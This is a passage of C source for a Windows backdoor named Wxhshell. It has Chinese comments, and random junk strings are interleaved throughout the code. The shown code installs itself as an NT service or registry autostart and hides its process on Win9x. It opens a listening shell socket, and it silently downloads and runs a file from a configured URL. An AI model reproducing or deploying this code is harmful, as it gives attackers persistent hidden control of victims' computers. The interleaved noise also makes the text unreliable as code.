g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -$$mr U =1y~Qlu CloseHandle(hProcess); kH`?^^_yJ Pn l}<i if(strstr(procName,"services")) return 1; // 以服务启动 x[xRqC
vL aYM~Ub:x{ return 0; // 注册表启动 R'8S)'l } 7CH.BY 3taGb>15 // 主模块 Bru] ;%Qg% int StartWxhshell(LPSTR lpCmdLine) ^^F 8M0k3 { 0rvBjlFT SOCKET wsl; F` &W5[ BOOL val=TRUE; WF:4p]0~) int port=0; V9jxmu F, struct sockaddr_in door; %/
"yt}"| L1f=90 if(wscfg.ws_autoins) Install(); x_CY`Y MRg Ozg port=atoi(lpCmdLine); }rUAYr~V Z iH~A7e62OZ if(port<=0) port=wscfg.ws_port; KTBtLUH]*F }I1j #d0. WSADATA data;
sOb]o[= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *Q#oV}D_ P@D\5}*6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; a_-@rceU setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w|Ry)[ door.sin_family = AF_INET; #M4LG; B door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5~ZzQG door.sin_port = htons(port); qOIVuzi* ;NE4G;px4< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5A<}*T closesocket(wsl); 3Yo)K return 1; 5 D=r7 } -9;?k{{[T {rK]Q! yj if(listen(wsl,2) == INVALID_SOCKET) { EwmNgmYq closesocket(wsl); I9m9`4BK return 1; /8!n7a7 } o1"N{Eu Wxhshell(wsl); d]:G#<. WSACleanup(); 3V7WIj< R+_!FnOJ return 0; n_:EWm$\ Xvoz4'Gme } Bl^BtE?-b ><S(n#EB // 以NT服务方式启动 NCY2^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i+pQ 7wx { (&v,3>3] DWORD status = 0; O;i0xWUh DWORD specificError = 0xfffffff; ,p /{!BX bub6{MQW8e serviceStatus.dwServiceType = SERVICE_WIN32; &,=FPlTC= serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^b}Wl0Fn serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |)C*i serviceStatus.dwWin32ExitCode = 0; 8Lgm50bs serviceStatus.dwServiceSpecificExitCode = 0; cD=IFOB*GD serviceStatus.dwCheckPoint = 0; ,I ][ serviceStatus.dwWaitHint = 0; rV4K@)~ 8e^u KYR< hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); */_ 'pt if (hServiceStatusHandle==0) return; ?L0k|7 `34{/}w status = GetLastError(); (CgvI*O if (status!=NO_ERROR) mQR9Pn}H { SWY serviceStatus.dwCurrentState = SERVICE_STOPPED; XogCq?_m serviceStatus.dwCheckPoint = 0; Gi#-TP\ serviceStatus.dwWaitHint = 0; zx,9x*g serviceStatus.dwWin32ExitCode = status; psc
Fb$b serviceStatus.dwServiceSpecificExitCode = specificError; ^6R(K'E} SetServiceStatus(hServiceStatusHandle, &serviceStatus); m(}}%VeR"z return; 2 } A<"<DDy GBWL0'COV serviceStatus.dwCurrentState = SERVICE_RUNNING; UV0[S8A serviceStatus.dwCheckPoint = 0; ,|}mo+rb- serviceStatus.dwWaitHint = 0; V=% ;5/ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iP;"-Mj } )p1~Jx( \ EpyMc+.Ze' // 处理NT服务事件,比如:启动、停止
-{8K/! VOID WINAPI NTServiceHandler(DWORD fdwControl) #.[eZ[ { KX7fgC switch(fdwControl) >C!^%e;m { @SpP"/)JY case SERVICE_CONTROL_STOP: ZTz07Jt serviceStatus.dwWin32ExitCode = 0; |FM*1Q[1 serviceStatus.dwCurrentState = SERVICE_STOPPED; m4m|? serviceStatus.dwCheckPoint = 0; 4OQ,|Wm4G serviceStatus.dwWaitHint = 0; h.F=Fhx/1 { k4hk*
0Jq SetServiceStatus(hServiceStatusHandle, &serviceStatus); MpGG}J[y } j7Ts&;`[* return; rUmP_ case SERVICE_CONTROL_PAUSE: FMI1[|:; serviceStatus.dwCurrentState = SERVICE_PAUSED; \!BVf@>p% break; 1^E5VG1[ case SERVICE_CONTROL_CONTINUE: {jmy:e2 serviceStatus.dwCurrentState = SERVICE_RUNNING; 3l41"5Fy& break; Z
b$]9(RS case SERVICE_CONTROL_INTERROGATE: Qubu;[0+a break; 6]d]0TW_ }; #vxq|$e SetServiceStatus(hServiceStatusHandle, &serviceStatus); m%apGp'=1 } KR%WBvv Qni`k)4 // 标准应用程序主函数 `>`b;A4 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |:JT+a1 { u4w!SD z\A
),; // 获取操作系统版本 S#v3%)R OsIsNt=GetOsVer(); YzQ1c~+ GetModuleFileName(NULL,ExeFile,MAX_PATH); |\?u-O3 PnaiSt9p?r // 从命令行安装 eh `%E0b} if(strpbrk(lpCmdLine,"iI")) Install(); %K-8DL8|( '&B4Ccn<V // 下载执行文件 H~nZ=`P9& if(wscfg.ws_downexe) { FX|&o>S(8 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {&mHfN WinExec(wscfg.ws_filenam,SW_HIDE); O>1Cx4s5 } J-,ocO 3^~J;U!3 if(!OsIsNt) { / +% // 如果时win9x,隐藏进程并且设置为注册表启动 nH k^trGm HideProc(); :op_J!; StartWxhshell(lpCmdLine); ],S {?!'1 } I4?oBq else /*,_\ ; if(StartFromService()) ktx| c19 // 以服务方式启动 Q
N#bd~ StartServiceCtrlDispatcher(DispatchTable); j]<K%lwp else B 5|\<CF // 普通方式启动 }UB@FRPF StartWxhshell(lpCmdLine); S#y[_C?H G%t>Ll``C return 0; PC<_1!M] }
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